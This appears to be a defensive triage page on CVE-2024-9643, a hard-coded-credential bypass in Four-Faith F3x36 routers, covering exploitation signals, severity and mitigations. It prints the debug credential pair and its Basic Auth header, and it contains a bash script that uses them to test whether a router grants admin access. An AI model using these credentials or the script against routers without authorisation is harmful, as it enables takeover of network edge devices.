This is a master key left under the doormat of a small but very exposed building
CVE-2024-9643 is an authentication bypass in the Four-Faith F3x36 administrative web server caused by hard-coded debug credentials. The affected target is tightly scoped: Four-Faith F3x36 routers running firmware v2.0.0. Cisco Talos documented the underlying pattern in a related codebase: the web server accepts a fixed Basic Auth pair (ffadmin:ffadminff), which turns an ordinary admin page request into a full administrative session.
The vendor/CNA 9.8 CRITICAL score is technically defensible in a vacuum because exploitation is remote, unauthenticated, and lands on the management plane of an edge router. In the real world, I would downgrade one notch to HIGH because the exposure population is narrow: one industrial router family, one firmware line, and a niche enterprise footprint. That said, the downgrade is modest because this is still an internet-weaponizable edge-device bug, public detection content exists, and CrowdSec reported active exploitation beginning April 20, 2026 with mass exploitation by May 12, 2026.
4 steps from start to impact.
Find exposed F3x36 web interfaces
- The router management UI is reachable from the internet or an untrusted network
- The device belongs to the F3x36 family and is on vulnerable firmware
- Many enterprises never expose router admin HTTP directly
- Asset inventories often hide these devices behind carriers, NAT, or private APNs
- The exposure estimate is for the product family, not this exact vulnerable build
Validate the hard-coded credential path with curl or a nuclei template
/Status_Router.asp with Basic Auth using the known debug credential pair. Cisco Talos showed the equivalent pattern in the related Yifan code path, and ProjectDiscovery later shipped a public nuclei check for CVE-2024-9643, which lowers the operator skill required for mass scanning.- The management endpoint must respond over HTTP
- The firmware must still honor the embedded debug credential logic
- Admin UI may be IP-restricted, VPN-only, or firewalled
- Some field deployments may have upstream ACLs that block direct access
- Safe scanners can prove auth bypass, but not always identify exact firmware with certainty
Take administrative control of the router
- Successful use of the hard-coded credential
- Administrative functionality exposed through the web server
- Blast radius is usually one device/site at a time
- Some environments segment OT data paths enough that router compromise does not equal domain compromise
Optionally chain into command execution or botnet use
- Attacker wants persistence, proxying, or follow-on execution
- Related vulnerable functionality is present and reachable
- Chaining to code execution is a separate vulnerability, not guaranteed by CVE-2024-9643 alone
- Not every compromised router provides useful east-west reach into the enterprise
The supporting signals.
| In-the-wild status | Yes, active exploitation evidence exists now. CrowdSec reported exploitation first observed on 2026-04-20 and reclassified to Mass Exploitation on 2026-05-12. |
|---|---|
| KEV status | Not in CISA KEV as checked against the public catalog URL, even though CrowdSec now reports active abuse. |
| Proof-of-concept availability | Public and low-friction. Cisco Talos published request-level proof for the related leftover debug credential logic, and ProjectDiscovery release notes show a public nuclei template for CVE-2024-9643. |
| EPSS | 0.1585 from the user-supplied intel block. Treat as a supporting signal, not the deciding one; current exploitation telemetry matters more here. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — pure remote unauthenticated compromise of the management plane, which is why the baseline starts very high. |
| Affected versions | Four-Faith F3x36 firmware v2.0.0. I found no authoritative evidence broadening this CVE beyond that version. |
| Fixed version | No vendor-confirmed fixed firmware identified in the sources reviewed. Four-Faith exposes product and download pages, but I did not find a CVE-specific patch advisory or a named remediating version. |
| Exposure data | Material edge exposure is plausible. VulnCheck reported about 15,000 internet-facing F3x24/F3x36 devices in research on the related CVE-2024-12856. That number is for the broader product family, so treat it as an exposure proxy, not a precise vulnerable count for CVE-2024-9643. |
| Disclosure date | 2025-02-04 in NVD/OpenCVE metadata. |
| Reporting researcher / org | Jacob Baines / VulnCheck is credited by the advisory; Cisco Talos / Francesco Benvenuto documented the underlying leftover debug credential pattern in the related TALOS-2023-1752 research. |
noisgate verdict.
The single biggest downward pressure is population narrowing: this is a niche industrial router family with a currently evidenced vulnerable build of firmware v2.0.0, not a broadly deployed enterprise platform. It stays HIGH because the attacker position is still unauthenticated remote, the target sits on the network edge, and there is now concrete exploitation telemetry showing botnet-driven operationalization.
Why this verdict
- Start at 9.8: vendor scoring is reasonable because this is remote, unauthenticated admin compromise of an edge router.
- Adjust down for product narrowness: affected scope is one industrial router line and a specifically cited firmware build, which sharply limits the reachable population compared with Exchange, PAN-OS, or Ivanti-class fleet issues.
- Adjust down for blast radius per event: a compromise usually burns one router/site at a time; the impact is severe locally but not inherently domain-wide without additional pivot paths.
- Adjust back up for attacker position: no auth, no user interaction, and no prior foothold are required if the management UI is exposed.
- Adjust back up for current threat reality: CrowdSec reported active exploitation beginning 2026-04-20 and mass exploitation on 2026-05-12, which removes any 'theoretical only' comfort.
Why not higher?
I am not calling this CRITICAL because the real-world victim population is constrained by product, firmware, and deployment model. Most enterprises do not run large fleets of Four-Faith F3x36 routers, and many that do will keep management access behind carrier/private network controls or VPNs. That narrowing matters.
Why not lower?
I am not pushing this to MEDIUM because the exploit chain does not require prior compromise, credentials, or user interaction once the interface is reachable. On an exposed device, this is direct admin takeover of an edge communications node, and active abuse is already documented.
What to do — in priority order.
- Block internet access to the admin UI — Remove HTTP/HTTPS management exposure from the public internet and untrusted WAN segments. For a HIGH verdict, deploy this compensating control within 30 days; because there is active exploitation evidence, treat it as immediate, within hours in practice.
- Restrict management to a VPN or jump host — Force administration through a private APN, site-to-site VPN, or bastion with source-IP allowlisting so the hard-coded credential path is not reachable by arbitrary scanners. Implement within 30 days, or within hours if the device is currently internet-facing.
- Segment the router from critical OT and IT zones — Assume a compromised router becomes an adversary-controlled pivot and proxy. Apply ACLs so the device can reach only required upstream services and cannot freely initiate east-west traffic; for HIGH, complete within 30 days.
- Monitor for admin-page probes and config drift — Alert on requests to admin resources such as
/Status_Router.asp, unexpected Basic Auth attempts, DNS changes, route changes, and unexplained outbound beaconing. Detection content should be enabled immediately if patching is delayed. - Inventory firmware precisely — Confirm which F3x36 assets are actually on v2.0.0 and prioritize only the genuinely exposed subset. Do this within 30 days, but front-load internet-facing devices first because scope clarity directly reduces risk.
- Relying on changed admin passwords alone doesn't help if the hard-coded debug credential is still accepted by the web server.
- EDR is mostly irrelevant on an appliance router; there is usually no agent coverage on the device itself.
- Generic user-awareness or phishing controls do nothing here because exploitation is direct network access to the management interface.
Crowdsourced verification payload.
Run this from an auditor workstation or jump host that can reach the router over HTTP/HTTPS; it does not need shell access on the device. Invoke it as ./check_cve_2024_9643.sh http://192.0.2.10 or ./check_cve_2024_9643.sh https://router.example.com; no special privileges are required beyond network reachability.
#!/usr/bin/env bash
# Check for CVE-2024-9643 on Four-Faith F3x36 routers
# Usage: ./check_cve_2024_9643.sh http://HOST[:PORT]
# Exit codes:
# 0 = PATCHED
# 1 = VULNERABLE
# 2 = UNKNOWN / error
set -u
TARGET="${1:-}"
PATH_CHECK="/Status_Router.asp"
AUTH_HEADER="Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY="
TIMEOUT=10
if [[ -z "$TARGET" ]]; then
echo "UNKNOWN: usage: $0 http://HOST[:PORT]"
exit 2
fi
# Trim trailing slash if present
TARGET="${TARGET%/}"
URL="${TARGET}${PATH_CHECK}"
fetch_headers() {
local extra_header="$1"
if [[ -n "$extra_header" ]]; then
curl -k -sS -I --max-time "$TIMEOUT" -H "$extra_header" "$URL"
else
curl -k -sS -I --max-time "$TIMEOUT" "$URL"
fi
}
fetch_body() {
local extra_header="$1"
if [[ -n "$extra_header" ]]; then
curl -k -sS --max-time "$TIMEOUT" -H "$extra_header" "$URL"
else
curl -k -sS --max-time "$TIMEOUT" "$URL"
fi
}
noauth_headers="$(fetch_headers "" 2>/dev/null)" || {
echo "UNKNOWN: target unreachable or HTTP error"
exit 2
}
auth_headers="$(fetch_headers "$AUTH_HEADER" 2>/dev/null)" || {
echo "UNKNOWN: authenticated probe failed"
exit 2
}
auth_body="$(fetch_body "$AUTH_HEADER" 2>/dev/null | head -c 4096)" || {
echo "UNKNOWN: could not retrieve response body"
exit 2
}
noauth_code="$(printf '%s' "$noauth_headers" | awk 'toupper($1) ~ /^HTTP\// {print $2; exit}')"
auth_code="$(printf '%s' "$auth_headers" | awk 'toupper($1) ~ /^HTTP\// {print $2; exit}')"
# Heuristics:
# - unauthenticated request usually returns 401/403 on protected admin page
# - vulnerable target accepts fixed debug Basic Auth and returns 200 + HTML that is not Unauthorized page
if [[ "$auth_code" == "200" ]]; then
if printf '%s' "$auth_body" | grep -qiE '401 Unauthorized|The resource is `Unauthorized`|<TITLE>401 Unauthorized</TITLE>'; then
echo "PATCHED"
exit 0
fi
if printf '%s' "$auth_body" | grep -qiE '<html|<!DOCTYPE html|XHTML'; then
echo "VULNERABLE"
exit 1
fi
fi
if [[ "$auth_code" == "401" || "$auth_code" == "403" ]]; then
echo "PATCHED"
exit 0
fi
if [[ "$noauth_code" == "401" || "$noauth_code" == "403" ]]; then
echo "UNKNOWN: target appears protected, but hard-coded credential acceptance was not confirmed"
exit 2
fi
echo "UNKNOWN: inconclusive response (noauth=$noauth_code auth=$auth_code)"
exit 2
If you remember one thing.
Sources
- NVD CVE-2024-9643
- VulnCheck advisory: Four-Faith Hard-coded Credentials
- Cisco Talos TALOS-2023-1752 related debug credential research
- CrowdSec report: CVE-2024-9643 active exploitation
- ProjectDiscovery nuclei-templates release notes
- VulnCheck blog: Four-Faith industrial router CVE-2024-12856 exploited in the wild
- Four-Faith F3x36 product page
- CISA Known Exploited Vulnerabilities Catalog
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.